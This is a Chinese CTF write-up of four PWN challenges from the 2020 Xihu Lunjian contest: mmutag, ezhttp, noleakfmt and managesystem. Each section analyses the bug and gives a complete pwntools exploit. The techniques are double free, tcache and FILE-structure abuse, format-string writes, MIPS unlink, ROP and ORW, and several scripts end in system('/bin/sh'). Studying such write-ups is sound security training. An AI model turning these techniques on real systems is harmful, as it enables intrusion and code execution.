2020 西湖论剑部分PWN题复盘

 

0x01 summary

mmutage:两个洞一个double free和栈溢出,栈溢出后面接一个输出可以leak canary,由于给了栈地址并且可以edit stack所以可以double free改fd到stack上,这样就可以rop先泄漏libc,然后再csu来call read到ret位置写入system(“/bin/sh”)来getshell。

noleakfmt:看到stdout结构体的地址在当前printf栈地址的上面,这里第一步改双链位置上的stack值到程序地址的地方,我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。

managesystem:32位的mips堆题,有个heapoveflow的漏洞,可以利用unlink劫持note_list进行leak libc并劫持got表。

ezhttp:模拟http请求,2.27 double free, 劫持hook为setcontext+53进行orw

 

0x02 mmutag

查看文件

got表可劫持,PIE没开

IDA分析

给了个栈地址:

double free:

栈溢出:

思路

利用栈溢出打印出canary,double free改fd劫持stack,写rop一个是泄露libc’地址,再一个是改got表,csu再写入rsp,执行system(“/bin/sh”)进行getshell即可

exp

# coding=utf-8
from pwn import *

context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
if debug:
    p = process("./mmutag")
    elf = ELF("./mmutag")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

else:
    p = remote('183.129.189.62', 58704)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF("./mmutag")
    one_gadget = 0x0

def myIntroduce(introduce):
    p.sendlineafter("input your choice:\n\n", "1")
    p.sendafter("your introduce \n", introduce)

def introduce():
    p.sendlineafter("input your choice:\n\n", "2")

def create(index, content):
    p.sendlineafter("your choise:\n", "1")
    p.sendlineafter("your id:\n", str(index))
    p.sendafter("your content\n", content)

def delete(index):
    p.sendlineafter("your choise:\n", "2")
    p.sendlineafter("your id:\n", str(index))

def stackSend(content):
    p.sendlineafter("input your choice:\n\n", "2")
    p.sendlineafter("your choise:\n", "3")
    p.send(content)

def exit():
    p.sendlineafter("your choise:\n","4")
pop_rdi_ret = 0x0000000000400d23
pop_r12_r13_r14_r15_ret = 0x0000000000400d1c # 0x0000000000400d1c: pop r12; pop r13; pop r14; pop r15; ret;

p.recvuntil("input you name: \n")
p.sendline("blueSheep\n")
p.recvuntil("your tag: 0x")
stack_address = int(p.recv(12),16)
success("stack address ==> "+hex(stack_address))
myIntroduce(p64(0x71))
stackSend("a"*0x19)
p.recvuntil("content: ")
p.recvuntil("a"*0x18)
canary = u64(p.recv(8))
canary = (canary >> 8) << 8
success("canary ==> "+hex(canary))
p.sendlineafter("your choise:\n", "3")
p.send(p64(0)+p64(0x71)+p64(0)+"\x00")
create(1,"\n")
create(2,"\n")
delete(1)
delete(2)
delete(1)
create(3,p64(stack_address - 0x40))
create(4,"\n")
create(5,"\n")
payload = flat([
    0,canary,stack_address+0x10,
    pop_rdi_ret,elf.got['puts'],
    elf.plt['puts'],pop_r12_r13_r14_r15_ret,
    elf.got['read'],0x80,stack_address+0x28,0,0x400d00])
create(6,payload)

p.sendlineafter("your choise:\n","4")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym['puts']
success("libc address ==> "+hex(libc.address))

p.send(p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system']))
p.interactive()

 

0x03 ezhttp

查看文件

IDA分析

这道题是一道模拟http请求的题目,功能参数都通过packet传递,同时一些验证字符也需要按照解析格式放在数据包内一并传递。需要耐心解析数据包格式,较繁琐。

最后检查密码的地方不用管,看汇编可以理解,result恒不为0。

数据格式大致是:

 28     payload = "POST "
 29     payload+= command
 30     payload+= " Cookie: "
 31     payload+= "user"
 32     payload+= "="
 33     payload+= "admin"
 34     payload+= "token: "
 35     payload+= "\r\n\r\n"
 36     payload+= content

接下来就是三个功能:create、delete和edit。create会直接给出heap地址,free中有double free,没有show。这道题目开启了沙箱,只能考虑orw来获得flag。

思路

double free劫持tcache pthread header,通过io来进行leak libc,然后改hook为setcontext+53劫持stack esp指针,之后会跳转到提前布置的rop中执行ORW来获得flag

由于create通过\x00来算size,所以我们需要分开写,第一次写flag,第二次写write_base

exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./ezhttp')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if debug:
    p = process('./ezhttp')
    # p = process('./ezhttp',env={'LD_PRELOAD':'./libc-2.27.so'})
else:
    p = remote('183.129.189.61',51302)

def makePacket(command,content):
    payload = "POST "
    payload+= command
    payload+= " Cookie: "
    payload+= "user"
    payload+= "="
    payload+= "admin"
    payload+= "token: "
    payload+= "\r\n\r\n"
    payload+= content
    return payload

def create(content='a\x00'):
    payload = "content="
    payload += content
    sendPacket(makePacket("/create",payload))

def delete(idx):
    payload = "index="
    payload += str(idx)
    sendPacket(makePacket("/del",payload))

def edit(idx,content):
    payload = "index="
    payload += str(idx)
    payload += "&content="
    payload += content
    payload += '\n'
    sendPacket(makePacket("/edit",payload))

def sendPacket(content):
    p.sendafter("======= Send Http packet to me: ========",content)
#gdb.attach(p,"b *0x555555554000+0xf9d")
create("a"*0x100+"\x00") # 0
p.recvuntil("Your gift: 0x")
heap_base = int(p.recv(12),16)-0x260
success("heap base ==> "+hex(heap_base))
create("b"*0x100+"\x00") # 1
create("c"*0x100+"\x00") # 2
create("d"*0x100+"\x00") # 3
create("e"*0x18+"\x00") # 4
delete(4)
for i in range(7):
    delete(0)
delete(1)
create("a"*0x100+"\x00") # 5
edit(5,p64(heap_base+0x10))
create("a"*0x100+"\x00") # 6
create("\x07"*0x100+"\x00") # 7
edit(7,"\x07"*0x40+p64(0x370+heap_base)) # 7
create("\x60\x07\xdd") # 8
edit(7,"\x07"*0x40+p64(0x370+heap_base))
create("\x00") # 9
create(p64(0xfbad1877)) # 10  io_stdout->flag
edit(7,"\x07"*0x40+p64(0x370+heap_base))
edit(8,"\x80\x07\xdd")
create("\x00") # 11
create("a\x00") # 12   io_stdout->write_base
edit(10,p64(0xfbad1800)[:4])
edit(12,"\x00")
p.recvn(0x68)
libc.address = u64(p.recvn(8))-libc.sym['_IO_2_1_stdout_'] -131
success("libc adddress ==> "+hex(libc.address))

syscall = 0x00000000000d29d5+libc.address
pop_rax = 0x43a78+libc.address
pop_rsi = 0x23e8a+libc.address
pop_rdi = 0x2155f+libc.address
pop_rdx = 0x1b96+libc.address

edit(7,"\x07"*0x40+p64(libc.sym['__free_hook']))
create(p64(libc.address+0x52145)[:6])
edit(5,"\x11"*0x98+p64(pop_rax)+p64(0x480+heap_base)+p64(pop_rax)) # esp
edit(3,"./flag\x00") # 0x0000555555758590

payload = flat([2,pop_rdi,heap_base+0x590,pop_rsi,0,syscall,
                pop_rax,0,pop_rdi,4,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall,
                pop_rax,1,pop_rdi,1,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall
])

edit(2,payload)
gdb.attach(p)
delete(5)
p.interactive()

 

0x04 noleakfmt

查看文件

IDA分析

这里有个格式化字符串的漏洞,同时可以无限循环,注意关闭了输出缓冲区。

第一眼看着很像unprintableV,但是注意到格式化字符串是输入到bss上,同时关了stdout,但是这里没有stderr所以不能直接改bss中stdout为stderr,所以只能操作stdout结构体了。

思路

看到stdout结构体的地址在当前printf栈地址的上面,这里第一步改双链位置上的stack值到程序地址的地方,我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。

在抬高栈顶的时候选择改printf返回地址为start主要是由于在__libc_start_main中有这么一条指令就足以抬高到我们需要的地方。

后面我们则是通过bss上格式化字符串去改掉malloc_hook为one_gadget,最后通过输入大量字符串触发malloc执行one_gadget

exp

#coding=utf-8
from pwn import *

context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
p = process("./noleakfmt")
elf = ELF("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
start_addr = 0x7b0
malloc_hook_low = 0x10

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

def exp():
    p.recvuntil("gift : 0x")
    stack_addr = int(p.recv(12),16)
    success("stack address ==> "+hex(stack_addr))
    stack_addr_low = u16(p64(stack_addr)[:2])
    success("stack address low 2 bytes ==> "+hex(stack_addr_low))
    if stack_addr_low > 0x2000 or stack_addr_low < 0x66c: # need crack
        raise EOFError
    payload = "%{}c%11$hn".format(str(stack_addr_low-0x0c))
    p.sendline(payload)
    sleep(0.5)
    payload = "%{}c%37$hn".format(str(start_addr)) # need crack
    p.sendline(payload)
    sleep(0.5)
    payload = "%{}c%10$hn".format(str(stack_addr_low-0x54))
    p.sendline(payload)

    sleep(0.5)
    payload = "%{}c%36$hhn".format(str(0x90))  # modify stdout to stdout->fileno
    p.sendline(payload)

    sleep(0.5)
    payload = "%{}c%26$hhn".format(str(0x2))   # modify fileno 0 to 2
    p.sendline(payload)

    sleep(0.5)
    payload = "%9$phhh"
    p.sendline(payload)
    p.recvuntil("0x")
    data = int(p.recv(12),16)
    libc.address = data-240-libc.sym["__libc_start_main"]
    success("libc address ==> "+hex(libc.address))

    malloc_hook_addr = libc.sym['__malloc_hook']
    payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str(malloc_hook_addr & 0xffff))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+0x2))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>16)&0xffff))
    p.sendline(payload)
    p.recvuntil("--")


    payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+4))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>32)&0xffff))
    p.sendline(payload)
    p.recvuntil("--")

    one_gadget = one_gadgets[3]+libc.address

    payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%25$hn--".format(str(one_gadget & 0xffff))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str(malloc_hook_low+0x2))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%25$hn--".format(str((one_gadget>>16)&0xffff))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str(stack_addr_low+4))
    p.sendline(payload)
    p.recvuntil("--")

    payload = "%{}c%36$hn--".format(str((one_gadget>>32)&0xffff))
    p.sendline(payload)
    p.recvuntil("--")

    p.sendline("%999999c%10$n")
    p.sendline("cat flag 1>&2")

while True:
    try:
        exp()
        p.interactive()
        p.close()
    except:
        p.close()
    if debug:
        p = process("./noleakfmt")
        elf = ELF("./noleakfmt")
        libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

 

0x05 managesystem

程序分析

保护全关,32位的mips题目

Ghidra分析程序

Ghidra软件介绍和安装教程在这

用来反编译mips比较方便。

这是一个传统的菜单堆题,分别有create、show、modify、delete四个功能。

modify的位置有溢出8个字节的漏洞,那么我们很容易就想到利用unlink进行攻击,劫持note_list。

思路

在当前chunk中伪造一个0x20的堆块,同时溢出编辑下一个chunk的pre_size和pre_inuse位,这样删除下一个chunk的时候会进行向上合并,触发unlink,最后可以达到劫持note_list的目标。

写入got表,先打印出libc地址,再劫持free函数为system,delete一个带有“/bin/sh”字符串的chunk即可getshell

exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']

elf = ELF("./pwn3")
libc = ELF("./lib/libc.so.0")

global p
remote_gdb=0
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
    else :
        p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p

def create(sz,info='a'):
    p.sendlineafter("options >>",str(1))
    p.sendlineafter("Enter the user info's length:",str(sz))
    if sz != 0:
        p.sendafter("Enter user's info:",info)

def delete(idx):
    p.sendlineafter("options >>",str(2))
    p.sendlineafter("Enter the index of user:",str(idx))

def edit(idx,info):
    p.sendlineafter("options >>",str(3))
    p.sendlineafter("Enter the index of user you want edit:",str(idx))
    p.sendafter("The new user's info:",info)

def show(idx):
    p.sendlineafter("options >>",str(4))
    p.sendlineafter("Enter the index of user you want show: \n",str(idx))

p = get_sh()
note_list = 0x411830

create(0x20)
create(0x20-8)
payload = p32(0)+p32(0x21)+p32(note_list-0xc)+p32(note_list-0x8)+"a"*0x10+p32(0x20)+p32(0x20)
edit(0,payload)
delete(1)
payload = p32(0)*2+p32(0x411830)+p32(0x50)+p32(elf.got['read'])+p32(0x4)
edit(0,payload)
show(1)
p.recvuntil("info: ")
data = u32(p.recv(4))
print hex(data)
libc.address = data - libc.sym['read']
success("libc address ==> "+hex(libc.address))
payload = p32(0x411830)+p32(0)+p32(elf.got['free'])+p32(0x10)+p32(libc.search("/bin/sh").next())
edit(0,payload)
edit(1,p32(libc.sym['system']))
delete(2)
p.interactive()

参考:

天枢西湖论剑WP

2020-西湖论剑线上部分PWN-WriteUp

(完)